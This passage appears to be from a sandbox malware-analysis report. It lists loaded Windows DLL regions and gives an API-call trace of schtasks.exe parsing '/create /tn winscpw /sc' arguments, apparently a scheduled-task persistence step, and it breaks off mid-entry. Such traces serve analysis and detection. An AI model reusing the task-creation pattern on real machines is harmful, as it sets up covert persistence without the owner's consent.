"" Region: id = 3691 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3692 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 3693 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3694 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3695 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3696 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3697 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 168 os_tid = 0xcc4 [0078.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x27f980 | out: lpSystemTimeAsFileTime=0x27f980*(dwLowDateTime=0x57ea6bc0, dwHighDateTime=0x1d9eb0c)) [0078.768] GetCurrentProcessId () returned 0xccc [0078.768] GetCurrentThreadId () returned 0xcc4 [0078.768] GetTickCount () returned 0x1769209 [0078.768] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x27f988 | out: lpPerformanceCount=0x27f988*=2488525170256) returned 1 [0078.769] GetModuleHandleW (lpModuleName=0x0) returned 0xff900000 [0078.769] __set_app_type (_Type=0x1) [0078.769] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff92972c) returned 0x0 [0078.769] __wgetmainargs (in: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248, _DoWildCard=0, _StartInfo=0xff94125c | out: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248) returned 0 [0078.770] _onexit (_Func=0xff932ab0) returned 0xff932ab0 [0078.770] _onexit (_Func=0xff932ac4) returned 0xff932ac4 [0078.770] _onexit (_Func=0xff932afc) returned 0xff932afc [0078.770] _onexit (_Func=0xff932b58) returned 0xff932b58 [0078.770] _onexit (_Func=0xff932b80) returned 0xff932b80 [0078.770] _onexit (_Func=0xff932ba8) returned 0xff932ba8 [0078.770] _onexit (_Func=0xff932bd0) returned 0xff932bd0 [0078.771] _onexit (_Func=0xff932bf8) returned 0xff932bf8 [0078.771] _onexit (_Func=0xff932c20) returned 0xff932c20 [0078.771] _onexit (_Func=0xff932c48) returned 0xff932c48 [0078.771] _onexit (_Func=0xff932c70) returned 0xff932c70 [0078.771] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0078.771] WinSqmIsOptedIn () returned 0x0 [0078.771] GetProcessHeap () returned 0x3f0000 [0078.771] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x405510 [0078.772] SetLastError (dwErrCode=0x0) [0078.772] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0078.772] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0078.772] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0078.772] VerifyVersionInfoW (in: lpVersionInformation=0x27f140, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x27f140) returned 1 [0078.772] GetProcessHeap () returned 0x3f0000 [0078.772] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40bad0 [0078.772] lstrlenW (lpString="") returned 0 [0078.772] GetProcessHeap () returned 0x3f0000 [0078.772] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x2) returned 0x40baf0 [0078.772] GetProcessHeap () returned 0x3f0000 [0078.772] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405a00 [0078.772] GetProcessHeap () returned 0x3f0000 [0078.772] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40bb10 [0078.772] GetProcessHeap () returned 0x3f0000 [0078.772] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405a30 [0078.772] GetProcessHeap () returned 0x3f0000 [0078.772] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405a60 [0078.772] GetProcessHeap () returned 0x3f0000 [0078.772] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405a90 [0078.772] GetProcessHeap () returned 0x3f0000 [0078.772] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405ac0 [0078.772] GetProcessHeap () returned 0x3f0000 [0078.772] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40bb30 [0078.773] GetProcessHeap () returned 0x3f0000 [0078.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405af0 [0078.773] GetProcessHeap () returned 0x3f0000 [0078.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405b20 [0078.773] GetProcessHeap () returned 0x3f0000 [0078.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405b50 [0078.773] GetProcessHeap () returned 0x3f0000 [0078.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405b80 [0078.773] GetProcessHeap () returned 0x3f0000 [0078.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40bb50 [0078.773] GetProcessHeap () returned 0x3f0000 [0078.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405bb0 [0078.773] GetProcessHeap () returned 0x3f0000 [0078.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405be0 [0078.773] GetProcessHeap () returned 0x3f0000 [0078.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405c10 [0078.773] GetProcessHeap () returned 0x3f0000 [0078.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405c40 [0078.773] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.773] SetLastError (dwErrCode=0x0) [0078.773] GetProcessHeap () returned 0x3f0000 [0078.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405c70 [0078.773] GetProcessHeap () returned 0x3f0000 [0078.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405ca0 [0078.773] GetProcessHeap () returned 0x3f0000 [0078.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405cd0 [0078.773] GetProcessHeap () returned 0x3f0000 [0078.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405d00 [0078.773] GetProcessHeap () returned 0x3f0000 [0078.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405d30 [0078.774] GetProcessHeap () returned 0x3f0000 [0078.774] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40bb70 [0078.774] _memicmp (_Buf1=0x40bb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.774] GetProcessHeap () returned 0x3f0000 [0078.774] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x208) returned 0x40bd10 [0078.774] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x40bd10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0078.774] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0078.778] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0078.778] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0078.778] GetProcessHeap () returned 0x3f0000 [0078.778] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x74e) returned 0x40c2e0 [0078.778] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0078.778] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x40c2e0 | out: lpData=0x40c2e0) returned 1 [0078.779] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0078.779] VerQueryValueW (in: pBlock=0x40c2e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27f228, puLen=0x27f290 | out: lplpBuffer=0x27f228*=0x40c67c, puLen=0x27f290) returned 1 [0078.781] _memicmp (_Buf1=0x40bb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.781] _vsnwprintf (in: _Buffer=0x40bd10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x27f208 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0078.781] VerQueryValueW (in: pBlock=0x40c2e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x27f298, puLen=0x27f288 | out: lplpBuffer=0x27f298*=0x40c4a8, puLen=0x27f288) returned 1 [0078.781] lstrlenW (lpString="schtasks.exe") returned 12 [0078.781] lstrlenW (lpString="schtasks.exe") returned 12 [0078.781] lstrlenW (lpString=".EXE") returned 4 [0078.781] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0078.783] lstrlenW (lpString="schtasks.exe") returned 12 [0078.783] lstrlenW (lpString=".EXE") returned 4 [0078.783] _memicmp (_Buf1=0x40bb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.783] lstrlenW (lpString="schtasks") returned 8 [0078.783] GetProcessHeap () returned 0x3f0000 [0078.783] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x405e20 [0078.783] GetProcessHeap () returned 0x3f0000 [0078.783] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cbf0 [0078.783] GetProcessHeap () returned 0x3f0000 [0078.783] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cc20 [0078.783] GetProcessHeap () returned 0x3f0000 [0078.783] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cc50 [0078.783] GetProcessHeap () returned 0x3f0000 [0078.783] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40bb90 [0078.783] _memicmp (_Buf1=0x40bb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.783] GetProcessHeap () returned 0x3f0000 [0078.783] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xa0) returned 0x40c110 [0078.783] GetProcessHeap () returned 0x3f0000 [0078.784] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cc80 [0078.784] GetProcessHeap () returned 0x3f0000 [0078.784] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40ccb0 [0078.784] GetProcessHeap () returned 0x3f0000 [0078.784] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cce0 [0078.784] GetProcessHeap () returned 0x3f0000 [0078.784] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40bbb0 [0078.784] _memicmp (_Buf1=0x40bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.784] GetProcessHeap () returned 0x3f0000 [0078.784] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x200) returned 0x40d3c0 [0078.784] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x40d3c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0078.784] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0078.784] GetProcessHeap () returned 0x3f0000 [0078.784] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x30) returned 0x407b90 [0078.784] _vsnwprintf (in: _Buffer=0x40c110, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x27f208 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0078.784] GetProcessHeap () returned 0x3f0000 [0078.784] GetProcessHeap () returned 0x3f0000 [0078.784] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c2e0) returned 1 [0078.784] GetProcessHeap () returned 0x3f0000 [0078.784] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c2e0) returned 0x74e [0078.785] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c2e0 | out: hHeap=0x3f0000) returned 1 [0078.785] SetLastError (dwErrCode=0x0) [0078.785] GetThreadLocale () returned 0x409 [0078.785] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.785] lstrlenW (lpString="?") returned 1 [0078.785] GetThreadLocale () returned 0x409 [0078.785] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.785] lstrlenW (lpString="create") returned 6 [0078.785] GetThreadLocale () returned 0x409 [0078.786] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.786] lstrlenW (lpString="delete") returned 6 [0078.786] GetThreadLocale () returned 0x409 [0078.786] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.786] lstrlenW (lpString="query") returned 5 [0078.786] GetThreadLocale () returned 0x409 [0078.786] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.786] lstrlenW (lpString="change") returned 6 [0078.786] GetThreadLocale () returned 0x409 [0078.786] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.786] lstrlenW (lpString="run") returned 3 [0078.786] GetThreadLocale () returned 0x409 [0078.786] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.786] lstrlenW (lpString="end") returned 3 [0078.786] GetThreadLocale () returned 0x409 [0078.786] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.786] lstrlenW (lpString="showsid") returned 7 [0078.786] GetThreadLocale () returned 0x409 [0078.786] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0078.786] SetLastError (dwErrCode=0x0) [0078.786] SetLastError (dwErrCode=0x0) [0078.786] lstrlenW (lpString="/create") returned 7 [0078.786] lstrlenW (lpString="-/") returned 2 [0078.786] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0078.786] lstrlenW (lpString="?") returned 1 [0078.786] lstrlenW (lpString="?") returned 1 [0078.786] GetProcessHeap () returned 0x3f0000 [0078.786] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40c1c0 [0078.786] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.786] GetProcessHeap () returned 0x3f0000 [0078.786] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xa) returned 0x40c2e0 [0078.786] lstrlenW (lpString="create") returned 6 [0078.786] GetProcessHeap () returned 0x3f0000 [0078.787] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40c300 [0078.787] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.787] GetProcessHeap () returned 0x3f0000 [0078.787] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x14) returned 0x40c320 [0078.787] _vsnwprintf (in: _Buffer=0x40c2e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|?|") returned 3 [0078.787] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|create|") returned 8 [0078.787] lstrlenW (lpString="|?|") returned 3 [0078.787] lstrlenW (lpString="|create|") returned 8 [0078.787] SetLastError (dwErrCode=0x490) [0078.787] lstrlenW (lpString="create") returned 6 [0078.787] lstrlenW (lpString="create") returned 6 [0078.787] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.787] GetProcessHeap () returned 0x3f0000 [0078.787] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c2e0) returned 1 [0078.787] GetProcessHeap () returned 0x3f0000 [0078.787] RtlReAllocateHeap (Heap=0x3f0000, Flags=0xc, Ptr=0x40c2e0, Size=0x14) returned 0x40c340 [0078.787] lstrlenW (lpString="create") returned 6 [0078.787] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.787] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|create|") returned 8 [0078.787] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|create|") returned 8 [0078.787] lstrlenW (lpString="|create|") returned 8 [0078.787] lstrlenW (lpString="|create|") returned 8 [0078.787] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0078.787] SetLastError (dwErrCode=0x0) [0078.787] SetLastError (dwErrCode=0x0) [0078.787] SetLastError (dwErrCode=0x0) [0078.787] lstrlenW (lpString="/tn") returned 3 [0078.787] lstrlenW (lpString="-/") returned 2 [0078.787] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0078.787] lstrlenW (lpString="?") returned 1 [0078.787] lstrlenW (lpString="?") returned 1 [0078.788] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.788] lstrlenW (lpString="tn") returned 2 [0078.788] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.788] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|?|") returned 3 [0078.788] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|tn|") returned 4 [0078.788] lstrlenW (lpString="|?|") returned 3 [0078.788] lstrlenW (lpString="|tn|") returned 4 [0078.788] SetLastError (dwErrCode=0x490) [0078.788] lstrlenW (lpString="create") returned 6 [0078.788] lstrlenW (lpString="create") returned 6 [0078.788] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.788] lstrlenW (lpString="tn") returned 2 [0078.788] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.788] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|create|") returned 8 [0078.788] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|tn|") returned 4 [0078.788] lstrlenW (lpString="|create|") returned 8 [0078.788] lstrlenW (lpString="|tn|") returned 4 [0078.788] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0078.788] SetLastError (dwErrCode=0x490) [0078.788] lstrlenW (lpString="delete") returned 6 [0078.788] lstrlenW (lpString="delete") returned 6 [0078.788] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.788] lstrlenW (lpString="tn") returned 2 [0078.788] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.789] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|delete|") returned 8 [0078.789] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|tn|") returned 4 [0078.789] lstrlenW (lpString="|delete|") returned 8 [0078.789] lstrlenW (lpString="|tn|") returned 4 [0078.789] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0078.789] SetLastError (dwErrCode=0x490) [0078.789] lstrlenW (lpString="query") returned 5 [0078.789] lstrlenW (lpString="query") returned 5 [0078.789] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.789] lstrlenW (lpString="tn") returned 2 [0078.789] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.789] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|query|") returned 7 [0078.789] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|tn|") returned 4 [0078.789] lstrlenW (lpString="|query|") returned 7 [0078.789] lstrlenW (lpString="|tn|") returned 4 [0078.789] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0078.789] SetLastError (dwErrCode=0x490) [0078.789] lstrlenW (lpString="change") returned 6 [0078.789] lstrlenW (lpString="change") returned 6 [0078.789] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.789] lstrlenW (lpString="tn") returned 2 [0078.789] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.789] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|change|") returned 8 [0078.789] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|tn|") returned 4 [0078.789] lstrlenW (lpString="|change|") returned 8 [0078.789] lstrlenW (lpString="|tn|") returned 4 [0078.789] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0078.789] SetLastError (dwErrCode=0x490) [0078.789] lstrlenW (lpString="run") returned 3 [0078.789] lstrlenW (lpString="run") returned 3 [0078.789] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.790] lstrlenW (lpString="tn") returned 2 [0078.790] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.790] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|run|") returned 5 [0078.790] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|tn|") returned 4 [0078.790] lstrlenW (lpString="|run|") returned 5 [0078.790] lstrlenW (lpString="|tn|") returned 4 [0078.790] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0078.790] SetLastError (dwErrCode=0x490) [0078.790] lstrlenW (lpString="end") returned 3 [0078.790] lstrlenW (lpString="end") returned 3 [0078.790] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.790] lstrlenW (lpString="tn") returned 2 [0078.790] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.790] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|end|") returned 5 [0078.790] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|tn|") returned 4 [0078.790] lstrlenW (lpString="|end|") returned 5 [0078.790] lstrlenW (lpString="|tn|") returned 4 [0078.790] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0078.790] SetLastError (dwErrCode=0x490) [0078.790] lstrlenW (lpString="showsid") returned 7 [0078.790] lstrlenW (lpString="showsid") returned 7 [0078.790] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.790] GetProcessHeap () returned 0x3f0000 [0078.790] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c340) returned 1 [0078.790] GetProcessHeap () returned 0x3f0000 [0078.790] RtlReAllocateHeap (Heap=0x3f0000, Flags=0xc, Ptr=0x40c340, Size=0x16) returned 0x40c340 [0078.791] lstrlenW (lpString="tn") returned 2 [0078.791] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.791] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|showsid|") returned 9 [0078.791] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|tn|") returned 4 [0078.791] lstrlenW (lpString="|showsid|") returned 9 [0078.791] lstrlenW (lpString="|tn|") returned 4 [0078.791] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0078.791] SetLastError (dwErrCode=0x490) [0078.791] SetLastError (dwErrCode=0x490) [0078.791] SetLastError (dwErrCode=0x0) [0078.791] lstrlenW (lpString="/tn") returned 3 [0078.791] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0078.791] SetLastError (dwErrCode=0x490) [0078.791] SetLastError (dwErrCode=0x0) [0078.791] lstrlenW (lpString="/tn") returned 3 [0078.791] GetProcessHeap () returned 0x3f0000 [0078.791] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x8) returned 0x40c2e0 [0078.791] GetProcessHeap () returned 0x3f0000 [0078.791] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cd10 [0078.791] SetLastError (dwErrCode=0x0) [0078.791] SetLastError (dwErrCode=0x0) [0078.791] lstrlenW (lpString="winscpw") returned 7 [0078.791] lstrlenW (lpString="-/") returned 2 [0078.791] StrChrIW (lpStart="-/", wMatch=0x77) returned 0x0 [0078.791] SetLastError (dwErrCode=0x490) [0078.791] SetLastError (dwErrCode=0x490) [0078.791] SetLastError (dwErrCode=0x0) [0078.791] lstrlenW (lpString="winscpw") returned 7 [0078.791] StrChrIW (lpStart="winscpw", wMatch=0x3a) returned 0x0 [0078.791] SetLastError (dwErrCode=0x490) [0078.791] SetLastError (dwErrCode=0x0) [0078.791] lstrlenW (lpString="winscpw") returned 7 [0078.791] GetProcessHeap () returned 0x3f0000 [0078.791] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x10) returned 0x40c370 [0078.792] GetProcessHeap () returned 0x3f0000 [0078.792] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cd40 [0078.792] SetLastError (dwErrCode=0x0) [0078.792] SetLastError (dwErrCode=0x0) [0078.792] lstrlenW (lpString="/sc") returned 3 [0078.792] lstrlenW (lpString="-/") returned 2 [0078.792] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0078.792] lstrlenW (lpString="?") returned 1 [0078.792] lstrlenW (lpString="?") returned 1 [0078.792] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.792] lstrlenW (lpString="sc") returned 2 [0078.792] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.792] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|?|") returned 3 [0078.792] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f218 | out: _Buffer="|sc|") returned 4 [0078.792] lstrlenW (lpString="|?|") returned 3 [0078.792] lstrlenW 